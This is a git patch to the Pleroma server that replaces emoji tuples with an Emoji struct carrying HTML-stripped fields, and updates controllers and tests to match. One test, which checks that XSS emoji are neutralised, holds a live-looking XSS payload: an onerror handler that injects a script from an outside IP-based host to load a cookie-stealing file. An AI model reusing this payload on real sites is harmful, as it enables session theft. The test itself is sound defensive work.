From 6ef0103ca0b194971a2e6f61685316536b742a11 Mon Sep 17 00:00:00 2001 From: Maksim Pechnikov Date: Sat, 31 Aug 2019 10:14:53 +0300 Subject: [PATCH] added Emoji struct --- lib/pleroma/emoji.ex | 15 ++++++++++++++ lib/pleroma/emoji/formatter.ex | 12 +++++------ lib/pleroma/emoji/loader.ex | 13 +++--------- lib/pleroma/web/common_api/utils.ex | 2 +- .../controllers/mastodon_api_controller.ex | 2 +- .../controllers/util_controller.ex | 6 ++---- test/emoji/formatter_test.exs | 20 ++++++++++++++----- test/emoji_test.exs | 8 ++++---- 8 files changed, 47 insertions(+), 31 deletions(-) diff --git a/lib/pleroma/emoji.ex b/lib/pleroma/emoji.ex index ab6ba7d6a..b246bfbe6 100644 --- a/lib/pleroma/emoji.ex +++ b/lib/pleroma/emoji.ex @@ -21,6 +21,21 @@ defmodule Pleroma.Emoji do {:read_concurrency, true} ] + defstruct [:code, :file, :tags, :safe_code, :safe_file] + + @doc "Build emoji struct" + def build({code, file, tags}) do + %__MODULE__{ + code: code, + file: file, + tags: tags, + safe_code: Pleroma.HTML.strip_tags(code), + safe_file: Pleroma.HTML.strip_tags(file) + } + end + + def build({code, file}), do: build({code, file, []}) + @doc false def start_link(_) do GenServer.start_link(__MODULE__, [], name: __MODULE__) diff --git a/lib/pleroma/emoji/formatter.ex b/lib/pleroma/emoji/formatter.ex index acdef3988..4869d073e 100644 --- a/lib/pleroma/emoji/formatter.ex +++ b/lib/pleroma/emoji/formatter.ex @@ -15,12 +15,12 @@ def emojify(text, nil), do: text def emojify(text, emoji, strip \\ false) do Enum.reduce(emoji, text, fn - {_, _, _, emoji, file}, text -> + {_, %Emoji{safe_code: emoji, safe_file: file}}, text -> String.replace(text, ":#{emoji}:", prepare_emoji_html(emoji, file, strip)) - emoji_data, text -> - emoji = HTML.strip_tags(elem(emoji_data, 0)) - file = HTML.strip_tags(elem(emoji_data, 1)) + {unsafe_emoji, unsafe_file}, text -> + emoji = HTML.strip_tags(unsafe_emoji) + file = HTML.strip_tags(unsafe_file) String.replace(text, ":#{emoji}:", prepare_emoji_html(emoji, file, strip)) end) |> HTML.filter_tags() @@ -40,7 +40,7 @@ def demojify(text, nil), do: text @doc "Outputs a list of the emoji-shortcodes in a text" def get_emoji(text) when is_binary(text) do - Enum.filter(Emoji.get_all(), fn {emoji, _, _, _, _} -> + Enum.filter(Emoji.get_all(), fn {emoji, %Emoji{}} -> String.contains?(text, ":#{emoji}:") end) end @@ -50,7 +50,7 @@ def get_emoji(_), do: [] @doc "Outputs a list of the emoji-Maps in a text" def get_emoji_map(text) when is_binary(text) do get_emoji(text) - |> Enum.reduce(%{}, fn {name, file, _group, _, _}, acc -> + |> Enum.reduce(%{}, fn {name, %Emoji{file: file}}, acc -> Map.put(acc, name, "#{Pleroma.Web.Endpoint.static_url()}#{file}") end) end diff --git a/lib/pleroma/emoji/loader.ex b/lib/pleroma/emoji/loader.ex index 82fc3b8c3..839316713 100644 --- a/lib/pleroma/emoji/loader.ex +++ b/lib/pleroma/emoji/loader.ex @@ -11,13 +11,14 @@ defmodule Pleroma.Emoji.Loader do * glob paths, nested folder is used as tag name for grouping e.g. priv/static/emoji/custom/nested_folder """ alias Pleroma.Config + alias Pleroma.Emoji require Logger @type pattern :: Regex.t() | module() | String.t() @type patterns :: pattern() | [pattern()] @type group_patterns :: keyword(patterns()) - @type emoji :: {String.t(), String.t(), list(String.t())} + @type emoji :: {String.t(), Emoji.t()} @doc """ Loads emojis from files/packs. @@ -81,15 +82,7 @@ def load do Enum.map(emojis ++ emojis_txt, &prepare_emoji/1) end - defp prepare_emoji({code, file, tags} = _emoji) do - { - code, - file, - tags, - Pleroma.HTML.strip_tags(code), - Pleroma.HTML.strip_tags(file) - } - end + defp prepare_emoji({code, _, _} = emoji), do: {code, Emoji.build(emoji)} defp load_pack(pack_dir, emoji_groups) do pack_name = Path.basename(pack_dir) diff --git a/lib/pleroma/web/common_api/utils.ex b/lib/pleroma/web/common_api/utils.ex index d6907f707..1fb95f4ab 100644 --- a/lib/pleroma/web/common_api/utils.ex +++ b/lib/pleroma/web/common_api/utils.ex @@ -436,7 +436,7 @@ def confirm_current_password(user, password) do def emoji_from_profile(%{info: _info} = user) do (Emoji.Formatter.get_emoji(user.bio) ++ Emoji.Formatter.get_emoji(user.name)) - |> Enum.map(fn {shortcode, url, _, _, _} -> + |> Enum.map(fn {shortcode, %Emoji{file: url}} -> %{ "type" => "Emoji", "icon" => %{"type" => "Image", "url" => "#{Endpoint.url()}#{url}"}, diff --git a/lib/pleroma/web/mastodon_api/controllers/mastodon_api_controller.ex b/lib/pleroma/web/mastodon_api/controllers/mastodon_api_controller.ex index 4f63b03cf..a50c060bf 100644 --- a/lib/pleroma/web/mastodon_api/controllers/mastodon_api_controller.ex +++ b/lib/pleroma/web/mastodon_api/controllers/mastodon_api_controller.ex @@ -331,7 +331,7 @@ def peers(conn, _params) do defp mastodonized_emoji do Pleroma.Emoji.get_all() - |> Enum.map(fn {shortcode, relative_url, tags, _, _} -> + |> Enum.map(fn {shortcode, %Pleroma.Emoji{file: relative_url, tags: tags}} -> url = to_string(URI.merge(Web.base_url(), relative_url)) %{ diff --git a/lib/pleroma/web/twitter_api/controllers/util_controller.ex b/lib/pleroma/web/twitter_api/controllers/util_controller.ex index 923480242..c14792068 100644 --- a/lib/pleroma/web/twitter_api/controllers/util_controller.ex +++ b/lib/pleroma/web/twitter_api/controllers/util_controller.ex @@ -239,11 +239,9 @@ def version(conn, _params) do def emoji(conn, _params) do emoji = - Emoji.get_all() - |> Enum.map(fn {short_code, path, tags, _, _} -> - {short_code, %{image_url: path, tags: tags}} + Enum.reduce(Emoji.get_all(), %{}, fn {code, %Emoji{file: file, tags: tags}}, acc -> + Map.put(acc, code, %{image_url: file, tags: tags}) end) - |> Enum.into(%{}) json(conn, emoji) end diff --git a/test/emoji/formatter_test.exs b/test/emoji/formatter_test.exs index 8b510f48b..6d25fc453 100644 --- a/test/emoji/formatter_test.exs +++ b/test/emoji/formatter_test.exs @@ -3,6 +3,7 @@ # SPDX-License-Identifier: AGPL-3.0-only defmodule Pleroma.Emoji.FormatterTest do + alias Pleroma.Emoji alias Pleroma.Emoji.Formatter use Pleroma.DataCase @@ -20,15 +21,17 @@ test "it does not add XSS emoji" do text = "I love :'onload=\"this.src='bacon'\" onerror='var a = document.createElement(\"script\");a.src=\"//51.15.235.162.xip.io/cookie.js\";document.body.appendChild(a):" - custom_emoji = %{ - "'onload=\"this.src='bacon'\" onerror='var a = document.createElement(\"script\");a.src=\"//51.15.235.162.xip.io/cookie.js\";document.body.appendChild(a)" => + custom_emoji = + { + "'onload=\"this.src='bacon'\" onerror='var a = document.createElement(\"script\");a.src=\"//51.15.235.162.xip.io/cookie.js\";document.body.appendChild(a)", "https://placehold.it/1x1" - } + } + |> Pleroma.Emoji.build() expected_result = "I love \"\"" - assert Formatter.emojify(text, custom_emoji) == expected_result + assert Formatter.emojify(text, [{custom_emoji.code, custom_emoji}]) == expected_result end end @@ -37,7 +40,14 @@ test "it returns the emoji used in the text" do text = "I love :firefox:" assert Formatter.get_emoji(text) == [ - {"firefox", "/emoji/Firefox.gif", ["Gif", "Fun"], "firefox", "/emoji/Firefox.gif"} + {"firefox", + %Emoji{ + code: "firefox", + file: "/emoji/Firefox.gif", + tags: ["Gif", "Fun"], + safe_code: "firefox", + safe_file: "/emoji/Firefox.gif" + }} ] end diff --git a/test/emoji_test.exs b/test/emoji_test.exs index 82f9c52ff..1fdbd0fdf 100644 --- a/test/emoji_test.exs +++ b/test/emoji_test.exs @@ -14,9 +14,9 @@ defmodule Pleroma.EmojiTest do test "first emoji", %{emoji_list: emoji_list} do [emoji | _others] = emoji_list - {code, path, tags, _, _} = emoji + {code, %Emoji{file: path, tags: tags}} = emoji - assert tuple_size(emoji) == 5 + assert tuple_size(emoji) == 2 assert is_binary(code) assert is_binary(path) assert is_list(tags) @@ -24,9 +24,9 @@ test "first emoji", %{emoji_list: emoji_list} do test "random emoji", %{emoji_list: emoji_list} do emoji = Enum.random(emoji_list) - {code, path, tags, _, _} = emoji + {code, %Emoji{file: path, tags: tags}} = emoji - assert tuple_size(emoji) == 5 + assert tuple_size(emoji) == 2 assert is_binary(code) assert is_binary(path) assert is_list(tags)